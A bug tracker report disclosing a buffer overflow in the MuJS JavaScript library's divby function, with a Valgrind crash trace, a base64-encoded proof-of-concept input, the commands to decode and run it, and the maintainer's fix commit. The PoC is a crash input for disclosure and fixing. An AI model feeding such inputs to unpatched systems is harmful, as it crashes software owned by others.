Bug 697140

Summary: MUJS library buffer overflow in 'divby' function
Product: MuJS Reporter: op7ic <op7ica>
Component: generalAssignee: Tor Andersson <tor.andersson>
Status: RESOLVED FIXED    
Severity: normal    
Priority: P4    
Version: unspecified   
Hardware: PC   
OS: Linux   
Customer: Word Size: ---

Description op7ic 2016-09-21 05:41:57 UTC
Howdy there is a buffer overflow in divby function in jsdtoa.c source when parsing corrupted JS input.

Version:
latest from git as of 21/09/2016

Vulnerable Source file: 
mujs/jsdtoa.c:736

Function:
divby

Compile Flags
CFLAGS += -g3 -ggdb -O0

Compile Command: 
make


Valgrind shows it pretty clear: 

valgrind ../../temp/mujs/build/mujs /tmp/divby_jsdtoa.c.PoC.txt
==34295== Memcheck, a memory error detector
==34295== Copyright (C) 2002-2015, and GNU GPL'd, by Julian Seward et al.
==34295== Using Valgrind-3.12.0.SVN and LibVEX; rerun with -h for copyright info
==34295== Command: ../../temp/mujs/build/mujs /tmp/divby_jsdtoa.c.PoC.txt
==34295==
==34295== Invalid write of size 1
==34295==    at 0x408C61: divby (jsdtoa.c:736)
==34295==    by 0x408D2C: divascii (jsdtoa.c:771)
==34295==    by 0x4084FA: js_strtod (jsdtoa.c:550)
==34295==    by 0x3332333031363136: ???
==34295==    by 0x3933313132373133: ???
==34295==    by 0x383231353336332F: ???
==34295==    by 0x373531383439392F: ???
==34295==    by 0x3331303739393130: ???
==34295==    by 0x3534323139313233: ???
==34295==    by 0x3038303030333133: ???
==34295==    by 0x3532343331333636: ???
==34295==    by 0x3036363837303437: ???
==34295==  Address 0xfff001000 is not stack'd, malloc'd or (recently) free'd
==34295==
==34295==
==34295== Process terminating with default action of signal 11 (SIGSEGV)
==34295==  Access not within mapped region at address 0xFFF001000
==34295==    at 0x408C61: divby (jsdtoa.c:736)
==34295==    by 0x408D2C: divascii (jsdtoa.c:771)
==34295==    by 0x4084FA: js_strtod (jsdtoa.c:550)
==34295==    by 0x3332333031363136: ???
==34295==    by 0x3933313132373133: ???
==34295==    by 0x383231353336332F: ???
==34295==    by 0x373531383439392F: ???
==34295==    by 0x3331303739393130: ???
==34295==    by 0x3534323139313233: ???
==34295==    by 0x3038303030333133: ???
==34295==    by 0x3532343331333636: ???
==34295==    by 0x3036363837303437: ???
==34295==  If you believe this happened as a result of a stack
==34295==  overflow in your program's main thread (unlikely but
==34295==  possible), you can try to increase the size of the
==34295==  main thread stack using the --main-stacksize= flag.
==34295==  The main thread stack size used in this run was 8388608.
==34295==
==34295== HEAP SUMMARY:
==34295==     in use at exit: 167,794 bytes in 1,642 blocks
==34295==   total heap usage: 1,706 allocs, 64 frees, 173,466 bytes allocated
==34295==
==34295== LEAK SUMMARY:
==34295==    definitely lost: 17,272 bytes in 1 blocks
==34295==    indirectly lost: 142,629 bytes in 1,638 blocks
==34295==      possibly lost: 3,245 bytes in 1 blocks
==34295==    still reachable: 4,648 bytes in 2 blocks
==34295==         suppressed: 0 bytes in 0 blocks
==34295== Rerun with --leak-check=full to see details of leaked memory
==34295==
==34295== For counts of detected and suppressed errors, rerun with: -v
==34295== ERROR SUMMARY: 1 errors from 1 contexts (suppressed: 0 from 0)
Segmentation fault


PoC:

> base64 /tmp/divby_jsdtoa.c.PoC.txt
ZXZhbChmdW5jdGlvbihwLGEsYyxrLGUsZCl7ZTI2RHhhfHg2OHx+Nnx4NzR8YjRlfDR8NGV8NCY2
RTk2fHg2OHx8Nnx4NzR8Ynx4dTR8XzBhfHg2OHx+Nnx4N1V8YjRlfDR8NGV8NCY4RTk2fHg2OHx8
Nnx4NzR8Ynx4dTR8XzA2RHhhfHg2OHx+Nnx4NzR8YjR8eDY4fH42fHg3NHxiNGV8NHx4RXx4OCY2
RTk2fHg2OGx8Nnx4NzR8Ynx4dTR8XzAyNkRfMHgyNkR4YXx4Njh8fjd8eDc0fGI0ZXw0fDRlfDQm
NkU5Nnx4Njh8fDZ8eDc0fGJ8eHU0fF8weDI2RF8weDI2RHhhfHg2OHx+Nnx4VTR8YjRlfDR8NGV8
NHx4dTR8ZXw0fHhFfHg3NHxiNGV8NHx4dTR8YjRlfDR8NGV8NHx4dTR8XzB5MjZEfH43fHg3NHxi
NGV8NHw0ZXw0JjZFOTZ8eDY4fHw2fHg3NHxifHh1NHxfMHgyNkRfMHgyNkR4QXx4Njh8fjZ8eDc0
fGI0ZXw0fDRlfDR8eHU0fF8weTI2RF8weDI2RHhwfHg2OHx+Nnx4NzR8YjRlfDR8eEV8eDc0fGI0
ZXw0fHh1NHxiNGV8NHw0ZXw0fHh1NHxfMHkyNkRfMHgyNkR4cHx4Njh8ZTZ8eDc0fDB4YjRlfDR8
eEV8eD00fGI0ZXw0fHh1NHxfMHgyeEV8eDdlfGI0ZXx4NzR8YjRlfDR8eEV8eDgmNkU5Nnw0fHh1
NHxfMHgyNkRfMDc0fGI0ZXw0fHh1NHxiNGV8NHw0ZXw0fHh1NHxfMHkyNkRfMHgyNkRQcHx4Njh8
fjZ8eDU0fGI0ZXw0fHhFfHg3NHxiNGV8NDc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3
Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3
Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nz03Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3
Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3
Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3
Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3
Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Ny43Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3
Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3
Njc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3
Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3
Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3
Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3
Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3
Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3
Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3
Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3
Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3
Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3
Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3
Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3
Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3
Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3
Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3
Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3
Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3
Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3
Nzc3Nzc3Nzc3Nzc/Nzc3Nzc3Nzc3N3x4dTR8XzB4YjRlfDZ8eEV8eDc0fGI0ZXw0fHh1NHxfMHgy
eEV8eDc0fDgMPDwhOCYgOD4gODg4DDw9ITg8DQ0NDV8weDI2RHhhfHg2OHx+Nnx4NzR8YjRlfDR8
NGV8NCY2RTk2fHg2OHx8Nnx4NzR8Ynx4dTR8XzB4MjZEfHg2OHx+Nnx4NzR8YjRlfDR8NGV8NHx4
bjR8XzB5MjZEXzB4MjZEeHB8eDY4fH42fHg3NHxiNGV8NHx4RXx4OCY2RTk2fHg2OHx8Nnx4NzR8
Ynx4dTR8XzZEeGF8eDY4fH43fHg3NHxiNGV8NHw0fGJ8eHU0fF8wNkR4YXx4Njh8fjZ8eDc0XzB4
MjZEeGF8eDY4fH42fHg3NHxiNGV8NHw0ZXw0fHhuNHxfMHkyNkRfMHgyNkR4cHx4Njh8fjZ8eDc0
fGI0ZXw0fHhFfHg4JjZFOTZ8eDY4bHw2fHg3NHxifHh1NHxfMDI2RF8weDI2RHhhfHg2OHx+T3x4
NzR8eEV8eDgmNkU5Nnx4NjhsfDZ8eDc0fGJ8eHU0fF8wMjZEXzB4MjZEeGF8eDY4fH43fHg3NHxi
NGV8NHw0ZXw0JjZFOTZ8eDY4fHw2fHg3NHxifHh1NHxfMHgyNkRfMHgyNkR4YXx4Njh8fjZ8eDc0
fGI0ZXw0fDRlfDR8eERfMHgyNkR4cHx4Njh8fjZ8eDc0fGI0ZXw0fHhFfHg3NHxiNGV8NHx4dTR8
YjRlfDR8NGV8NHx4dTR8XzB5MjZEfH43fHg3NHxiNGV8NHw0ZXw0JjZFOTZ8eDY4fHw2fHg3NHxi
fHh1NHxfMHgyNkR4MHgyNkR4YXx4Njh8fjZ8eDc0fGI0ZXw0fDRlfDR8eHU0fF8weTI2RF8weDI2
RHhwfHg2OHx+Nnx4NzR8YjRlfDR8eEV8eDc0fGI0ZXw0fHh1NHxiNGV8NHw0ZXw0fHh1NHxfMHky
NkRfMHgyNkR4cHx4Njh8ZTZ8eDc0fDB4YjRlfDR8eEV8eD00fGI0ZXw0fHh1NHxfMHgyeEV8eDdl
fGI0ZXx4NzR8YjRlfDR8eEV8eDgmNkU5Nnw0fHh1NHxfMHgyNkRfMDc0fGI0ZXw0fHh1NHxiNGV8
NHw0ZXw0fHh1NHxfMHkyNkRfMHgyNkRQcHx4Njh8fjZ8eDU0fGI0ZXxPfHhFfHg3NHxiNGV8NHx4
dTR8XzB4YjRlfDZ8eEV8eDc0fGI0ZXw0fHh1NHxfMHgyeEV8eDc0fDgMPDwhOCYgOD4gODg4DDw9
ITg8DQ0NDV8weDI2RHhhfHg2OHx+Nnx4NzR8YjRlfDR8NGV8NCY2RTk2fHg2OHx8Nnx4NzR8Ynx4
dTR8XzB4MjZEfHg2OHx+Nnx4NzR8YjRlfDR8NGV8NHx4bjR8XzB5MjVEXzB4MjZEeHB8eDY4fH42
fHg3NHxiNGV8NHx4RXx4OCY2RTk2fHg2OHx8Nnx4NzR8Ynx4dTR8XzZEeGF8eDY4eH43fA==

PoC execution:

base64 -d /tmp/b64PoC.poc > /tmp/proof.txt
valgrind ../../temp/mujs/build/mujs /tmp/proof.txt
Comment 1 Tor Andersson 2016-09-21 07:24:19 UTC
commit 8c805b4eb19cf2af689c860b77e6111d2ee439d5
Author: Tor Andersson <tor.andersson@artifex.com>
Date:   Wed Sep 21 15:21:04 2016 +0200

    Fix bug 697140: Overflow check in ascii division in strtod.

There might be a better fix, but I'm not smart enough to find it.